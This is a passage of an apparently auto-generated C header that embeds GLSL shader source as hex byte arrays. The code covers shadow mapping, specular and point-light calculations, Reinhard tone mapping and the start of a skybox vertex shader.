0x30,0x35,0x38,0x38,0x65,0x2d,0x30,0x38,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,
0x28,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x31,0x36,
0x39,0x20,0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,
0x2e,0x78,0x79,0x7a,0x20,0x2f,0x20,0x76,0x65,0x63,0x33,0x28,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x76,0x65,0x63,0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x74,0x65,
0x78,0x74,0x75,0x72,0x65,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2c,0x20,0x28,0x5f,0x31,0x36,0x39,0x2e,
0x78,0x79,0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,0x20,0x76,0x65,0x63,0x32,
0x28,0x30,0x2e,0x35,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,
0x72,0x6e,0x20,0x73,0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,
0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,0x39,
0x2e,0x7a,0x20,0x2d,0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x63,0x6c,0x61,0x6d,
0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,0x38,0x38,
0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,0x38,0x31,
0x32,0x35,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,0x63,0x6f,
0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,0x2c,0x20,
0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,0x34,0x38,
0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,0x35,0x29,
0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,
0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x67,0x68,
0x74,0x5f,0x64,0x69,0x72,0x2c,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x69,0x65,0x77,
0x5f,0x64,0x69,0x72,0x2c,0x20,0x76,0x65,0x63,0x33,0x20,0x6e,0x6f,0x72,0x6d,0x61,
0x6c,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,
0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x77,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x30,0x33,0x39,0x37,0x38,0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,
0x34,0x32,0x35,0x34,0x37,0x36,0x30,0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x29,0x20,
0x2a,0x20,0x70,0x6f,0x77,0x28,0x6d,0x61,0x78,0x28,0x64,0x6f,0x74,0x28,0x6e,0x6f,
0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,0x2b,0x20,0x76,0x69,0x65,0x77,
0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,0x29,0x2c,0x20,0x6d,0x61,
0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,
0x2e,0x77,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x61,0x74,
0x74,0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,
0x76,0x65,0x63,0x33,0x20,0x64,0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,
0x5f,0x72,0x61,0x64,0x69,0x75,0x73,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x66,
0x61,0x6c,0x6c,0x6f,0x66,0x66,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x6d,
0x69,0x6e,0x28,0x31,0x2e,0x30,0x2c,0x20,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x64,
0x69,0x73,0x74,0x61,0x6e,0x63,0x65,0x5f,0x62,0x79,0x5f,0x72,0x61,0x64,0x69,0x75,
0x73,0x29,0x29,0x2c,0x20,0x32,0x2e,0x30,0x20,0x2a,0x20,0x66,0x61,0x6c,0x6c,0x6f,
0x66,0x66,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x75,
0x6d,0x69,0x6e,0x61,0x6e,0x63,0x65,0x28,0x76,0x65,0x63,0x33,0x20,0x6c,0x69,0x6e,
0x65,0x61,0x72,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,
0x6e,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x6e,0x65,0x61,0x72,0x2c,0x20,0x76,0x65,
0x63,0x33,0x28,0x30,0x2e,0x32,0x31,0x32,0x35,0x39,0x39,0x39,0x39,0x32,0x37,0x35,
0x32,0x30,0x37,0x35,0x31,0x39,0x35,0x33,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x37,
0x31,0x35,0x32,0x30,0x30,0x30,0x30,0x36,0x39,0x36,0x31,0x38,0x32,0x32,0x35,0x30,
0x39,0x37,0x36,0x35,0x36,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,0x37,0x32,0x32,0x30,
0x30,0x30,0x30,0x30,0x32,0x38,0x36,0x31,0x30,0x32,0x32,0x39,0x34,0x39,0x32,0x31,
0x38,0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x76,0x65,0x63,0x33,0x20,0x6c,
0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,0x67,0x61,0x6d,0x6d,0x61,0x28,0x76,
0x65,0x63,0x33,0x20,0x78,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,
0x75,0x72,0x6e,0x20,0x70,0x6f,0x77,0x28,0x78,0x2c,0x20,0x76,0x65,0x63,0x33,0x28,
0x30,0x2e,0x34,0x35,0x34,0x35,0x34,0x35,0x34,0x36,0x38,0x30,0x39,0x31,0x39,0x36,
0x34,0x37,0x32,0x31,0x36,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x3b,0x0a,0x7d,
0x0a,0x0a,0x76,0x65,0x63,0x33,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,
0x65,0x69,0x6e,0x68,0x61,0x72,0x64,0x28,0x76,0x65,0x63,0x33,0x20,0x78,0x29,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,
0x20,0x3d,0x20,0x78,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x78,0x20,0x2f,0x20,0x76,0x65,0x63,
0x33,0x28,0x31,0x2e,0x30,0x20,0x2b,0x20,0x6c,0x75,0x6d,0x69,0x6e,0x61,0x6e,0x63,
0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x29,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,
0x65,0x74,0x75,0x72,0x6e,0x20,0x6c,0x69,0x6e,0x65,0x61,0x72,0x5f,0x74,0x6f,0x5f,
0x67,0x61,0x6d,0x6d,0x61,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x29,0x3b,0x0a,
0x7d,0x0a,0x0a,0x76,0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,
0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x32,0x38,0x33,0x20,0x3d,
0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x76,0x4e,0x6f,0x72,0x6d,
0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x32,
0x39,0x35,0x20,0x3d,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x66,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,
0x2d,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x76,0x65,0x63,0x33,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x6d,0x61,
0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,
0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,
0x33,0x30,0x36,0x20,0x3d,0x20,0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x28,0x75,0x49,
0x6d,0x61,0x67,0x65,0x30,0x2c,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x34,0x20,0x5f,0x33,0x30,0x39,
0x20,0x3d,0x20,0x5f,0x33,0x30,0x36,0x20,0x2a,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,
0x33,0x31,0x39,0x20,0x3d,0x20,0x76,0x65,0x63,0x33,0x28,0x5f,0x33,0x30,0x39,0x2e,
0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,
0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x32,0x20,0x3d,
0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x34,0x20,0x3d,0x20,0x31,0x2e,0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x5f,0x33,0x33,0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,
0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,
0x61,0x6d,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x2c,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x33,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,
0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,0x5d,0x2e,
0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,0x5f,0x33,
0x33,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,0x7b,0x0a,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,
0x61,0x6d,0x5f,0x35,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,
0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x37,0x20,0x3d,0x20,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,
0x78,0x79,0x7a,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x76,0x65,0x63,
0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,
0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,0x20,0x6c,0x69,0x67,
0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,0x79,0x7a,
0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x38,0x2c,0x20,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x39,0x29,0x29,0x20,0x2b,0x20,0x28,0x28,0x5f,0x33,
0x31,0x39,0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,0x5f,0x33,0x33,0x34,
0x29,0x29,0x20,0x2a,0x20,0x28,0x31,0x2e,0x30,0x20,0x2d,0x20,0x63,0x61,0x6c,0x63,
0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x63,0x6c,0x61,0x6d,0x70,0x28,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x36,0x29,0x2c,
0x20,0x30,0x2e,0x30,0x2c,0x20,0x31,0x2e,0x30,0x29,0x29,0x29,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x33,
0x38,0x36,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2d,0x20,0x76,0x46,0x72,0x61,
0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,
0x33,0x39,0x34,0x20,0x3d,0x20,0x5f,0x33,0x38,0x36,0x20,0x2f,0x20,0x76,0x65,0x63,
0x33,0x28,0x6c,0x65,0x6e,0x67,0x74,0x68,0x28,0x5f,0x33,0x38,0x36,0x29,0x29,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x30,0x20,0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,
0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x20,0x3d,0x20,0x5f,
0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,
0x72,0x61,0x6d,0x5f,0x31,0x32,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x33,0x20,0x3d,0x20,0x30,0x2e,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x20,0x3d,0x20,0x31,0x2e,
0x30,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x30,
0x34,0x20,0x3d,0x20,0x6f,0x72,0x65,0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,
0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x30,0x2c,
0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x31,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x32,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x33,0x2c,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x34,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,0x6f,
0x74,0x61,0x6c,0x20,0x2b,0x3d,0x20,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,
0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x31,
0x5d,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,
0x5f,0x34,0x30,0x34,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x20,0x3d,0x20,0x5f,0x33,0x38,0x36,0x20,0x2f,
0x20,0x76,0x65,0x63,0x33,0x28,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,
0x61,0x6d,0x73,0x5b,0x30,0x5d,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x36,0x20,0x3d,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,
0x73,0x5b,0x31,0x5d,0x2e,0x77,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x34,0x32,0x36,0x20,0x3d,0x20,0x61,0x74,0x74,
0x65,0x6e,0x75,0x61,0x74,0x69,0x6f,0x6e,0x5f,0x70,0x6f,0x69,0x6e,0x74,0x28,0x70,
0x61,0x72,0x61,0x6d,0x5f,0x31,0x35,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x69,0x66,0x20,0x28,
0x5f,0x34,0x32,0x36,0x20,0x3e,0x20,0x30,0x2e,0x30,0x29,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x7b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x20,
0x3d,0x20,0x5f,0x33,0x39,0x34,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,
0x38,0x20,0x3d,0x20,0x5f,0x32,0x39,0x35,0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x70,0x61,0x72,0x61,0x6d,
0x5f,0x31,0x39,0x20,0x3d,0x20,0x5f,0x32,0x38,0x33,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x74,0x6f,0x74,0x61,0x6c,0x20,0x2b,0x3d,
0x20,0x28,0x28,0x28,0x28,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,0x61,
0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x20,0x2a,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x33,0x5d,0x2e,0x78,
0x79,0x7a,0x29,0x20,0x2a,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,0x28,
0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x37,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,
0x31,0x38,0x2c,0x20,0x70,0x61,0x72,0x61,0x6d,0x5f,0x31,0x39,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x5f,0x33,0x31,0x39,0x20,0x2a,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,
0x2a,0x20,0x5f,0x34,0x30,0x34,0x29,0x29,0x20,0x2a,0x20,0x5f,0x34,0x32,0x36,0x29,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x7d,0x0a,0x20,0x20,0x20,0x20,
0x7d,0x0a,0x20,0x20,0x20,0x20,0x76,0x65,0x63,0x33,0x20,0x5f,0x34,0x35,0x37,0x20,
0x3d,0x20,0x74,0x6f,0x6e,0x65,0x6d,0x61,0x70,0x5f,0x72,0x65,0x69,0x6e,0x68,0x61,
0x72,0x64,0x28,0x74,0x6f,0x74,0x61,0x6c,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x74,
0x6f,0x74,0x61,0x6c,0x20,0x3d,0x20,0x5f,0x34,0x35,0x37,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x72,0x61,0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x76,0x65,
0x63,0x34,0x28,0x5f,0x34,0x35,0x37,0x2c,0x20,0x5f,0x33,0x30,0x39,0x2e,0x77,0x29,
0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#version 330
uniform vec4 vs_skybox_params[4];
out vec3 vTexCoord;
layout(location = 0) in vec3 aPosition;
layout(location = 1) in vec3 aNormal;
layout(location = 2) in vec2 aTexCoord;
layout(location = 3) in vec4 aColorMult;
layout(location = 4) in vec4 aColorOffset;
void main()
{
vTexCoord = aPosition.xzy;
gl_Position = (mat4(vs_skybox_params[0], vs_skybox_params[1], vs_skybox_params[2], vs_skybox_params[3]) * vec4(aPosition, 1.0)).xyww;
}
*/
static const char vs_skybox_source_glsl330[458] = {
0x23,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x20,0x33,0x33,0x30,0x0a,0x0a,0x75,0x6e,
0x69,0x66,0x6f,0x72,0x6d,0x20,0x76,0x65,0x63,0x34,0x20,0x76,0x73,0x5f,0x73,0x6b,
0x79,0x62,0x6f,0x78,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x5b,0x34,0x5d,0x3b,0x0a,
0x6f,0x75,0x74,0x20,0x76,0x65,0x63,0x33,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,
0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,
0x69,0x6f,0x6e,0x20,0x3d,0x20,0x30,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,
0x20,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x6c,0x61,0x79,0x6f,
0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x31,0x29,
0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x33,0x20,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,
0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,
0x6e,0x20,0x3d,0x20,0x32,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x32,0x20,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,
0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x33,0x29,0x20,0x69,
0x6e,0x20,0x76,0x65,0x63,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,
0x74,0x3b,0x0a,0x6c,0x61,0x79,0x6f,0x75,0x74,0x28,0x6c,0x6f,0x63,0x61,0x74,0x69,
0x6f,0x6e,0x20,0x3d,0x20,0x34,0x29,0x20,0x69,0x6e,0x20,0x76,0x65,0x63,0x34,0x20,
0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x0a,0x76,
0x6f,0x69,0x64,0x20,0x6d,0x61,0x69,0x6e,0x28,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x61,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2e,0x78,0x7a,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x28,0x6d,
